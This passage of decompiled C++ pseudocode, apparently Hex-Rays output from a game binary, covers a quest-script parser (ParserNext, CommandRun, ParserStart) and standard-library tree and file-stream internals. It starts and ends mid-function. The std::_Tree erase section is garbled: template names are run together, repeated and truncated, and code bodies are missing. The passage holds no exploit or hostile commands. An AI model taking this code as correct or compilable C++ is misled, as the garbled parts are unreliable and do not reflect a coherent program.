*v1; // esi@1 CToken *v2; // edi@1 char *v3; // eax@1 STRUCT_QSC *result; // eax@2 unsigned int v5; // ecx@3 bool v6; // cf@3 bool v7; // zf@3 STRUCT_QSC *v8; // ebx@3 char *v9; // ebp@6 __int16 v10; // ax@7 char **v11; // edx@7 char *v12; // ebp@11 char *v13; // edi@14 int v14; // edx@19 const char v15; // cl@20 int v16; // esi@23 const char v17; // cl@24 char *v18; // ebp@26 char *v19; // ebp@28 char *v20; // ebp@41 char *v21; // ebp@42 __int16 v22; // ax@47 char *v23; // ebp@54 unsigned int v24; // eax@54 std::basic_string,std::allocator > *v25; // eax@56 bool v26; // bl@56 int v27; // eax@57 char *v28; // eax@61 char **v29; // eax@62 char *v30; // edi@62 unsigned int v31; // eax@62 STRUCT_QSC *v32; // ebx@63 unsigned int v33; // edx@63 std::basic_string,std::allocator > *v34; // eax@64 bool v35; // bl@64 STRUCT_QSC *v36; // ebx@65 int v37; // edx@65 int v38; // eax@67 STRUCT_QSC *v39; // ebx@67 STRUCT_QSC *v40; // ecx@69 STRUCT_QSC *v41; // ebx@69 STRUCT_QSC *v42; // edx@70 unsigned int v43; // ecx@72 char **v44; // eax@73 char *v45; // edi@73 unsigned int v46; // eax@73 unsigned int v47; // ecx@77 char **v48; // eax@78 unsigned int v49; // ecx@82 char **v50; // eax@83 unsigned int v51; // edx@84 unsigned int v52; // ecx@89 int v53; // ecx@93 int v54; // ecx@94 char *v55; // edx@108 unsigned int TokenID; // [sp+8h] [bp-50h]@1 STRUCT_QSC *v57; // [sp+Ch] [bp-4Ch]@3 int nID; // [sp+10h] [bp-48h]@56 std::basic_string,std::allocator > thisa; // [sp+14h] [bp-44h]@56 char v60; // [sp+30h] [bp-28h]@64 int v61; // [sp+54h] [bp-4h]@56 v1 = this; v2 = &this->m_Token; v3 = CToken::GetTokenID(&this->m_Token, &TokenID, (char **)this->m_ppQSC, 0x1Eu); if ( !v3 ) { result = &v1->m_QSC; v1->m_QSC.Cmd = 31; return result; } v5 = TokenID; v6 = TokenID < 0xF; v7 = TokenID == 15; v8 = &v1->m_QSC; v57 = &v1->m_QSC; v1->m_QSC.Cmd = TokenID; if ( !(v6 | v7) ) { if ( v5 <= 0x17 ) { if ( v5 != 23 ) { switch ( v5 ) { case 0x11u: v23 = CToken::GetTokenID(v2, &TokenID, (char **)v1->m_ppQSV, 7u); v24 = TokenID; if ( TokenID == -1 ) { std::basic_string_std::allocator>::basic_string_std::allocator>( &thisa, v23); v61 = 0; v26 = CQuestParserScript::GetIDbyIndex(v25, &nID); v61 = -1; std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)&thisa); if ( v26 ) { v27 = nID; v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd = 7; } else { if ( !CQuestParserScript::IsDigitStr(v1, v23) ) { v42 = v57; v1->m_QSC.Data.STRUCT_QSC_ERROR.pErrStr = v23; result = v42; v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd = 17; v42->Cmd = 0; return result; } v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd = 7; v27 = atoi(v23); } v1->m_QSC.Data.STRUCT_QSC_ERROR.pErrStr = (const char *)v27; } else { v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd = TokenID; v1->m_QSC.Data.STRUCT_QSC_ERROR.pErrStr = (const char *)v1->m_Var[v24]; } v28 = CToken::GetTokenID(v2, &TokenID, (char **)v1->m_ppQSAE, 6u); if ( TokenID == -1 ) { v40 = v57; v41 = v57; v1->m_QSC.Data.STRUCT_QSC_ERROR.pErrStr = v28; result = v41; v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd = 17; v40->Cmd = 0; } else { v29 = (char **)v1->m_ppQSV; *(_DWORD *)&v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCode = TokenID; v30 = CToken::GetTokenID(v2, &TokenID, v29, 7u); v31 = TokenID; if ( TokenID == -1 ) { std::basic_string_std::allocator>::basic_string_std::allocator>( (std::basic_string,std::allocator > *)&v60, v30); v61 = 1; v35 = CQuestParserScript::GetIDbyIndex(v34, &nID); std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)&v60); if ( v35 ) { v36 = v57; v37 = nID; v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd = 7; result = v36; v1->m_QSC.Data.STRUCT_QSC_ERROR.pErrStr = (const char *)v37; } else { if ( CQuestParserScript::IsDigitStr(v1, v30) ) { *(_DWORD *)&v1->m_QSC.Data.STRUCT_QSC_CALLPS.FileName[12] = 7; v38 = atoi(v30); v39 = v57; *(_DWORD *)&v1->m_QSC.Data.STRUCT_QSC_CALLPS.FileName[16] = v38; result = v39; } else { result = v57; v1->m_QSC.Data.STRUCT_QSC_ERROR.pErrStr = v30; v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd = 17; result->Cmd = 0; } } } else { v32 = v57; *(_DWORD *)&v1->m_QSC.Data.STRUCT_QSC_CALLPS.FileName[12] = TokenID; v33 = v1->m_Var[v31]; result = v32; *(_DWORD *)&v1->m_QSC.Data.STRUCT_QSC_CALLPS.FileName[16] = v33; } } return result; case 0x12u: v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd = (QUEST_SCRIPT_COMMAND)CToken::GetToken(v2); return &v1->m_QSC; case 0x14u: v3 = CToken::GetTokenID(v2, &TokenID, (char **)v1->m_ppQSV, 7u); v43 = TokenID; if ( TokenID == -1 ) { v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd = 20; goto LABEL_110; } v44 = (char **)v1->m_ppQSV; v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd = TokenID; v1->m_QSC.Data.STRUCT_QSC_ERROR.pErrStr = (const char *)v1->m_Var[v43]; v45 = CToken::GetTokenID(v2, &TokenID, v44, 7u); v46 = TokenID; if ( TokenID != -1 ) goto LABEL_84; if ( !CQuestParserScript::IsDigitStr(v1, v45) ) { v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd = 20; v1->m_QSC.Data.STRUCT_QSC_ERROR.pErrStr = v45; goto LABEL_111; } goto LABEL_86; case 0x15u: v3 = CToken::GetTokenID(v2, &TokenID, (char **)v1->m_ppQSV, 7u); v47 = TokenID; if ( TokenID == -1 ) { v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd = 21; goto LABEL_110; } v48 = (char **)v1->m_ppQSV; v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd = TokenID; v1->m_QSC.Data.STRUCT_QSC_ERROR.pErrStr = (const char *)v1->m_Var[v47]; v45 = CToken::GetTokenID(v2, &TokenID, v48, 7u); v46 = TokenID; if ( TokenID != -1 ) goto LABEL_84; if ( !CQuestParserScript::IsDigitStr(v1, v45) ) { v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd = 21; v1->m_QSC.Data.STRUCT_QSC_ERROR.pErrStr = v45; goto LABEL_111; } goto LABEL_86; case 0x16u: v3 = CToken::GetTokenID(v2, &TokenID, (char **)v1->m_ppQSV, 7u); v49 = TokenID; if ( TokenID == -1 ) { v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd = 22; goto LABEL_110; } v50 = (char **)v1->m_ppQSV; v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd = TokenID; v1->m_QSC.Data.STRUCT_QSC_ERROR.pErrStr = (const char *)v1->m_Var[v49]; v45 = CToken::GetTokenID(v2, &TokenID, v50, 7u); v46 = TokenID; if ( TokenID != -1 ) { LABEL_84: *(_DWORD *)&v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCode = v46; v51 = v1->m_Var[v46]; result = &v1->m_QSC; *(_DWORD *)&v1->m_QSC.Data.STRUCT_QSC_CALLPS.FileName[12] = v51; return result; } if ( CQuestParserScript::IsDigitStr(v1, v45) ) { LABEL_86: *(_DWORD *)&v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCode = 7; *(_DWORD *)&v1->m_QSC.Data.STRUCT_QSC_CALLPS.FileName[12] = atoi(v45); return &v1->m_QSC; } v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd = 22; v1->m_QSC.Data.STRUCT_QSC_ERROR.pErrStr = v45; break; default: goto LABEL_109; case 0x10u: return &v1->m_QSC; } goto LABEL_111; } v3 = CToken::GetTokenID(v2, &TokenID, (char **)v1->m_ppQSV, 6u); v52 = TokenID; if ( TokenID == -1 ) { v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd = 23; LABEL_110: v1->m_QSC.Data.STRUCT_QSC_ERROR.pErrStr = v3; LABEL_111: v8->Cmd = 0; return &v1->m_QSC; } goto LABEL_103; } if ( v5 > 0x1B ) { if ( v5 == 31 ) return &v1->m_QSC; if ( v5 == -1 && *v3 == *v1->m_ppQSC[19] ) { v55 = v1->m_Token.m_pToken; v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd = (QUEST_SCRIPT_COMMAND)(v3 + 1); v8->Cmd = 19; result = &v1->m_QSC; v1->m_QSC.Data.STRUCT_QSC_ERROR.pErrStr = v55; return result; } } else { if ( v5 == 27 ) { v3 = CToken::GetTokenID(v2, &TokenID, (char **)v1->m_ppQSV, 6u); v52 = TokenID; if ( TokenID == -1 ) { v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd = 27; goto LABEL_110; } goto LABEL_103; } v53 = v5 - 24; if ( !v53 ) { v3 = CToken::GetTokenID(v2, &TokenID, (char **)v1->m_ppQSV, 6u); v52 = TokenID; if ( TokenID == -1 ) { v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd = 24; goto LABEL_110; } goto LABEL_103; } v54 = v53 - 1; if ( !v54 ) { v3 = CToken::GetTokenID(v2, &TokenID, (char **)v1->m_ppQSV, 6u); v52 = TokenID; if ( TokenID == -1 ) { v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd = 25; goto LABEL_110; } goto LABEL_103; } if ( v54 == 1 ) { v3 = CToken::GetTokenID(v2, &TokenID, (char **)v1->m_ppQSV, 6u); v52 = TokenID; if ( TokenID == -1 ) { v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd = 26; goto LABEL_110; } LABEL_103: v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd = v52; result = &v1->m_QSC; v1->m_QSC.Data.STRUCT_QSC_ERROR.pErrStr = (const char *)v1->m_Var[v52]; return result; } } LABEL_109: v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd = 29; goto LABEL_110; } if ( v7 ) { v20 = CToken::GetToken(v2); if ( CQuestParserScript::IsDigitStr(v1, v20) ) { LABEL_47: v22 = atoi(v20); *(QUEST_SCRIPT_COMMAND *)((char *)&v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd + 2) = 1; LOWORD(v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd) = v22; CToken::SaveTokenPositon(v2); v21 = CToken::GetToken(v2); LABEL_48: if ( CQuestParserScript::IsDigitStr(v1, v21) ) { *(QUEST_SCRIPT_COMMAND *)((char *)&v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd + 2) = atoi(v21); result = &v1->m_QSC; } else { LABEL_40: CToken::RestoreTokenPositon(v2, 0); result = &v1->m_QSC; } return result; } v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd = 15; v1->m_QSC.Data.STRUCT_QSC_ERROR.pErrStr = v20; goto LABEL_111; } switch ( v5 ) { case 2u: v9 = CToken::GetToken(v2); if ( !CQuestParserScript::IsDigitStr(v1, v9) ) { v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd = 2; v1->m_QSC.Data.STRUCT_QSC_ERROR.pErrStr = v9; goto LABEL_111; } v10 = atoi(v9); v11 = (char **)v1->m_ppQST; LOWORD(v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd) = v10; HIWORD(v1->m_QSC.Data.STRUCT_QSC_ERROR.pErrStr) = -1; v3 = CToken::GetTokenID(v2, &TokenID, v11, 2u); if ( TokenID ) { if ( TokenID != 1 ) { v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd = 2; goto LABEL_110; } result = &v1->m_QSC; *(QUEST_SCRIPT_COMMAND *)((char *)&v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd + 2) = 1; } else { *(QUEST_SCRIPT_COMMAND *)((char *)&v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd + 2) = 0; CToken::SaveTokenPositon(v2); v12 = CToken::GetToken(v2); if ( !CQuestParserScript::IsDigitStr(v1, v12) ) goto LABEL_40; HIWORD(v1->m_QSC.Data.STRUCT_QSC_ERROR.pErrStr) = atoi(v12); result = &v1->m_QSC; } return result; case 3u: v13 = CToken::GetToken(v2); if ( CQuestParserScript::IsDigitStr(v1, v13) ) { LOWORD(v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd) = atoi(v13); return &v1->m_QSC; } v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd = 3; v1->m_QSC.Data.STRUCT_QSC_ERROR.pErrStr = v13; goto LABEL_111; case 4u: v3 = CToken::GetToken(v2); if ( strlen(v3) >= 0x40 ) { v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd = 4; goto LABEL_110; } v14 = (char *)&v1->m_QSC.Data - v3; do { v15 = *v3; v3[v14] = *v3; ++v3; } while ( v15 ); v3 = CToken::GetToken(v2); if ( strlen(v3) >= 0x20 ) { v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd = 4; goto LABEL_110; } v16 = (char *)v1 - v3; do { v17 = *v3; v3[v16 + 2069] = *v3; ++v3; } while ( v17 ); return v8; case 7u: CToken::SaveTokenPositon(v2); v18 = CToken::GetToken(v2); if ( CQuestParserScript::IsDigitStr(v1, v18) ) goto LABEL_38; goto LABEL_34; case 8u: v19 = CToken::GetToken(v2); if ( !CQuestParserScript::IsDigitStr(v1, v19) ) { v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd = 8; v1->m_QSC.Data.STRUCT_QSC_ERROR.pErrStr = v19; goto LABEL_111; } BYTE2(v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd) = atoi(v19); $L87805: CToken::SaveTokenPositon(v2); v18 = CToken::GetToken(v2); if ( CQuestParserScript::IsDigitStr(v1, v18) ) { LABEL_38: LOWORD(v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd) = atoi(v18); result = &v1->m_QSC; } else { LABEL_36: LOWORD(v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd) = v1->m_QuestID; CToken::RestoreTokenPositon(v2, 0); result = &v1->m_QSC; } break; case 5u: goto $L87805; case 0xAu: CToken::SaveTokenPositon(v2); v18 = CToken::GetToken(v2); if ( CQuestParserScript::IsDigitStr(v1, v18) ) goto LABEL_38; LABEL_34: LOWORD(v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd) = v1->m_QuestID; CToken::RestoreTokenPositon(v2, 0); return &v1->m_QSC; case 0xBu: CToken::SaveTokenPositon(v2); v18 = CToken::GetToken(v2); if ( !CQuestParserScript::IsDigitStr(v1, v18) ) goto LABEL_36; goto LABEL_38; case 6u: case 9u: case 0xCu: CToken::SaveTokenPositon(v2); v18 = CToken::GetToken(v2); if ( CQuestParserScript::IsDigitStr(v1, v18) ) goto LABEL_38; LOWORD(v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd) = v1->m_QuestID; goto LABEL_40; case 0xDu: v20 = CToken::GetToken(v2); if ( !CQuestParserScript::IsDigitStr(v1, v20) ) goto LABEL_45; LOWORD(v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd) = atoi(v20); *(QUEST_SCRIPT_COMMAND *)((char *)&v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd + 2) = 1; CToken::SaveTokenPositon(v2); v21 = CToken::GetTokenID(v2, &TokenID, (char **)v1->m_ppQSIL, 1u); if ( TokenID ) goto LABEL_48; result = &v1->m_QSC; *(QUEST_SCRIPT_COMMAND *)((char *)&v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd + 2) = -1; return result; case 0xEu: v20 = CToken::GetToken(v2); if ( CQuestParserScript::IsDigitStr(v1, v20) ) goto LABEL_47; LABEL_45: v1->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd = 14; v1->m_QSC.Data.STRUCT_QSC_ERROR.pErrStr = v20; goto LABEL_111; case 1u: return &v1->m_QSC; default: goto LABEL_109; } return result; } //----- (005FA380) -------------------------------------------------------- int __thiscall CQuestParserScript::CommandRun(CQuestParserScript *this, STRUCT_QSC *pCmd) { STRUCT_QSC *v2; // esi@1 CQuestParserScript *v3; // edi@1 int result; // eax@2 int v5; // eax@6 bool v6; // cf@10 unsigned int Value2; // [sp+0h] [bp-4h]@1 Value2 = (unsigned int)this; v2 = pCmd; v3 = this; switch ( pCmd->Cmd ) { case 0x10: CToken::GoNextLine(&this->m_Token); return 1; case 0x11: if ( !CQuestParserScript::GetScriptVariableValue( this, (unsigned int *)&pCmd, this->m_QuestID, (QUEST_SCRIPT_VARIABLE)pCmd->Data.STRUCT_QSC_ERROR.ErrCmd, (unsigned int)pCmd->Data.STRUCT_QSC_ERROR.pErrStr) || !CQuestParserScript::GetScriptVariableValue( v3, &Value2, v3->m_QuestID, *(QUEST_SCRIPT_VARIABLE *)&v2->Data.STRUCT_QSC_CALLPS.FileName[12], *(_DWORD *)&v2->Data.STRUCT_QSC_CALLPS.FileName[16]) ) goto $L105754; switch ( *(_DWORD *)&v2->Data.STRUCT_QSC_ERROR.ErrCode ) { case 0: v5 = pCmd == (STRUCT_QSC *)Value2; goto LABEL_13; case 1: v5 = pCmd != (STRUCT_QSC *)Value2; goto LABEL_13; case 2: v5 = (unsigned int)pCmd < Value2; goto LABEL_13; case 3: v5 = Value2 < (unsigned int)pCmd; goto LABEL_13; case 4: v6 = Value2 < (unsigned int)pCmd; goto LABEL_12; case 5: v6 = (unsigned int)pCmd < Value2; LABEL_12: v5 = 1 - v6; LABEL_13: if ( !v5 ) goto LABEL_14; goto LABEL_23; default: LABEL_14: CQuestParserScript::ParserNext(v3); result = 1; break; } return result; case 0x12: if ( CQuestParserScript::MarkGo(this, (const char *)pCmd->Data.STRUCT_QSC_ERROR.ErrCmd) ) goto LABEL_23; goto $L105754; case 0: case 1: case 2: case 3: case 4: case 5: case 6: case 7: case 8: case 9: case 0xA: case 0xB: case 0xC: case 0xD: case 0xE: case 0xF: case 0x17: case 0x18: case 0x19: case 0x1A: case 0x1B: case 0x1C: goto $L105754; case 0x14: if ( !CQuestParserScript::GetScriptVariableValue( this, (unsigned int *)&pCmd, this->m_QuestID, *(QUEST_SCRIPT_VARIABLE *)&pCmd->Data.STRUCT_QSC_ERROR.ErrCode, *(_DWORD *)&pCmd->Data.STRUCT_QSC_CALLPS.FileName[12]) ) goto $L105754; v3->m_Var[v2->Data.STRUCT_QSC_ERROR.ErrCmd] = (unsigned int)pCmd; return 1; case 0x15: if ( !CQuestParserScript::GetScriptVariableValue( this, (unsigned int *)&pCmd, this->m_QuestID, *(QUEST_SCRIPT_VARIABLE *)&pCmd->Data.STRUCT_QSC_ERROR.ErrCode, *(_DWORD *)&pCmd->Data.STRUCT_QSC_CALLPS.FileName[12]) ) goto $L105754; v3->m_Var[v2->Data.STRUCT_QSC_ERROR.ErrCmd] += (unsigned int)pCmd; return 1; case 0x16: if ( CQuestParserScript::GetScriptVariableValue( this, (unsigned int *)&pCmd, this->m_QuestID, *(QUEST_SCRIPT_VARIABLE *)&pCmd->Data.STRUCT_QSC_ERROR.ErrCode, *(_DWORD *)&pCmd->Data.STRUCT_QSC_CALLPS.FileName[12]) ) { v3->m_Var[v2->Data.STRUCT_QSC_ERROR.ErrCmd] -= (unsigned int)pCmd; LABEL_23: result = 1; } else { $L105754: result = 0; } return result; default: goto LABEL_23; } } //----- (005FA5B0) -------------------------------------------------------- int std::_Tree_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::_Buynode(...) { void *v6; // esi@1 int v8; // [sp+0h] [bp-24h]@1 void *v9; // [sp+Ch] [bp-18h]@1 void *_Wherenode; // [sp+10h] [bp-14h]@1 int *v11; // [sp+14h] [bp-10h]@1 int v12; // [sp+20h] [bp-4h]@1 v11 = &v8; v6 = operator new(0x30u); _Wherenode = v6; v12 = 0; v9 = v6; LOBYTE(v12) = 1; if ( v6 ) std::_Tree_nod_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::_Node::_Node( (std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator,std::allocator >,int,std::less,std::allocator > >,std::allocator_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::erase(...) { std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st *v3; // ebx@1 std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st v4; // ebp@4 std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st v5; // edi@5 std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st v6; // ecx@8 std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st v7; // esi@9 int v8; // eax@11 int v9; // ebx@16 std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator,std::allocator >,int,std::less,std::allocator > >,std::allocator,st *v15; // ecx@37 int v16; // eax@39 bool v17; // zf@54 int v18; // eax@62 std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st *v19; // eax@64 std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st *v20; // [sp+8h] [bp-54h]@1 std::basic_string,std::allocator > thisa; // [sp+Ch] [bp-50h]@2 int (__thiscall **pExceptionObject)(void *, char); // [sp+28h] [bp-34h]@2 int v23; // [sp+58h] [bp-4h]@2 v3 = this; v20 = this; if ( *(_BYTE *)(_Where + 45) ) { thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( &thisa, "invalid map/set iterator", 0x1Bu); v23 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::out_of_range::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVout_of_range_std__); } v4 = _Where; std::_Tree_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::const_iterator::_Inc(&_Where); if ( *(_BYTE *)(*(_DWORD *)v4 + 45) ) { v5 = *(_DWORD *)(v4 + 8); LABEL_9: v7 = *(_DWORD *)(v4 + 4); if ( !*(_BYTE *)(v5 + 45) ) *(_DWORD *)(v5 + 4) = v7; v8 = *((_DWORD *)v3 + 1); if ( *(_DWORD *)(v8 + 4) == v4 ) { *(_DWORD *)(v8 + 4) = v5; } else { if ( *(_DWORD *)v7 == v4 ) *(_DWORD *)v7 = v5; else *(_DWORD *)(v7 + 8) = v5; } v9 = *((_DWORD *)v3 + 1); if ( *(_DWORD *)v9 == v4 ) { if ( *(_BYTE *)(v5 + 45) ) v10 = (std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::_Min((std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::_Max((std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::_Lrotate( v15, (std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::_Rrotate( v15, (std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::_Lrotate( v15, (std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::_Rrotate( v15, (std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::_Lrotate( v15, (std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::_Rrotate( v15, (std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator= 0x10u ) operator delete(*(void **)(v4 + 16)); *(_DWORD *)(v4 + 36) = 15; *(_DWORD *)(v4 + 32) = 0; *(_BYTE *)(v4 + 16) = 0; operator delete((void *)v4); v18 = *((_DWORD *)v20 + 2); if ( v18 ) *((_DWORD *)v20 + 2) = v18 - 1; v19 = result; *result = _Where; return v19; } // 689C04: using guessed type int (__thiscall *std__out_of_range___vftable_)(void *p, char); //----- (005FA920) -------------------------------------------------------- int __thiscall CQuestParserScript::ParserStart(CQuestParserScript *this, unsigned __int16 nQuestID, const char *pScript) { CQuestParserScript *v3; // esi@1 CToken *v4; // ebp@1 int v5; // edi@2 int v6; // eax@3 int result; // eax@12 v3 = this; this->m_QuestID = nQuestID; this->m_Var[0] = 0; this->m_Var[1] = 0; this->m_Var[2] = 0; this->m_Var[3] = 0; this->m_Var[4] = 0; this->m_Var[5] = 0; this->m_Var[6] = 0; this->m_Var[7] = 0; this->m_NumOfMark = 0; v4 = &this->m_Token; if ( !CToken::OpenFromMemory(&this->m_Token, (char *)pScript) ) goto LABEL_16; v3->m_NumOfError = 0; v5 = (int)&v3->m_QSC; do { CQuestParserScript::ParserNext(v3); v6 = *(_DWORD *)v5; if ( !*(_DWORD *)v5 ) ++v3->m_NumOfError; if ( v6 == 16 ) v3->vfptr->CommandRun(v3, &v3->m_QSC); if ( *(_DWORD *)v5 == 19 ) { if ( !CQuestParserScript::MarkAdd( v3, (const char *)v3->m_QSC.Data.STRUCT_QSC_ERROR.ErrCmd, v3->m_QSC.Data.STRUCT_QSC_ERROR.pErrStr) ) ++v3->m_NumOfError; } } while ( *(_DWORD *)v5 != 31 ); if ( v3->m_NumOfError ) LABEL_16: result = 0; else result = CToken::GoBegin(v4); return result; } //----- (005FA9E0) -------------------------------------------------------- void __thiscall std::basic_ifstream>::basic_ifstream>(std::basic_ifstream > *this) { std::basic_ifstream > *v1; // ebp@1 int v2; // edx@3 char *v3; // esi@3 int v4; // [sp+28h] [bp+4h]@0 v1 = this; if ( v4 ) { *(_DWORD *)&this->___u0.baseclass_0.gap0[0] = &std::basic_ifstream>::_vbtable_; *(_DWORD *)&this->gap64[0] = &std::basic_ios>::_vftable_; } *(_DWORD *)&this->___u0.baseclass_0.gap0[*(_DWORD *)(*(_DWORD *)&this->___u0.baseclass_0.gap0[0] + 4)] = std::basic_istream>::_vftable_; v2 = *(_DWORD *)&this->___u0.baseclass_0.gap0[0]; this->___u0.baseclass_0._Chcount = 0; v3 = (char *)this + *(_DWORD *)(v2 + 4); std::ios_base::_Init((std::ios_base *)((char *)this + *(_DWORD *)(v2 + 4))); *((_DWORD *)v3 + 10) = (char *)v1 + 8; *((_DWORD *)v3 + 11) = 0; v3[48] = std::basic_ios>::widen((std::basic_ios > *)v3, 32); if ( !*((_DWORD *)v3 + 10) ) std::ios_base::clear((std::ios_base *)v3, *((_DWORD *)v3 + 2) | 4, 0); *((_DWORD *)v3 + 1) = 0; *(_DWORD *)&v1->___u0.baseclass_0.gap0[*(_DWORD *)(*(_DWORD *)&v1->___u0.baseclass_0.gap0[0] + 4)] = &std::basic_ifstream>::_vftable_; std::basic_streambuf>::basic_streambuf>((std::basic_streambuf > *)v1->___u0.baseclass_0.gap8); *(_DWORD *)&v1->___u0.baseclass_0.gap8[0] = &std::basic_filebuf>::_vftable_; v1->___u0._s1._Filebuffer._Mystr = 0; v1->___u0._s1._Filebuffer._Closef = 0; v1->___u0._s1._Filebuffer._Wrotesome = 0; std::basic_streambuf>::_Init((std::basic_streambuf > *)v1->___u0.baseclass_0.gap8); v1->___u0._s1._Filebuffer._Myfile = 0; v1->___u0._s1._Filebuffer._State = _Stinit; v1->___u0._s1._Filebuffer._State0 = _Stinit; v1->___u0._s1._Filebuffer._Pcvt = 0; } // 5FA9E0: inconsistent function type and number of purged bytes // 650D8C: using guessed type int (__thiscall *std__basic_ios_char_std__char_traits_char_____vftable_)(void *p, char); // 650D90: using guessed type int (__stdcall *std__basic_istream_char_std__char_traits_char_____vftable_[2])(char); // 6886B0: using guessed type int (__thiscall *std__basic_filebuf_char_std__char_traits_char_____vftable_)(void *p, char); // 689BDC: using guessed type int (__stdcall *std__basic_ifstream_char_std__char_traits_char_____vftable_)(char); // 153552B0: using guessed type int _Stinit; //----- (005FAAE0) -------------------------------------------------------- void __thiscall std::basic_ifstream>::_basic_ifstream>(std::basic_ifstream > *this) { char *v1; // esi@1 *(_DWORD *)((char *)this + *(_DWORD *)(*((_DWORD *)this - 25) + 4) - 100) = &std::basic_ifstream>::_vftable_; v1 = (char *)this - 92; std::basic_filebuf>::_basic_filebuf>((std::basic_filebuf > *)this - 1); *(_DWORD *)&v1[*(_DWORD *)(*((_DWORD *)v1 - 2) + 4) - 8] = std::basic_istream>::_vftable_; } // 650D90: using guessed type int (__stdcall *std__basic_istream_char_std__char_traits_char_____vftable_[2])(char); // 689BDC: using guessed type int (__stdcall *std__basic_ifstream_char_std__char_traits_char_____vftable_)(char); //----- (005FAB40) -------------------------------------------------------- void __thiscall 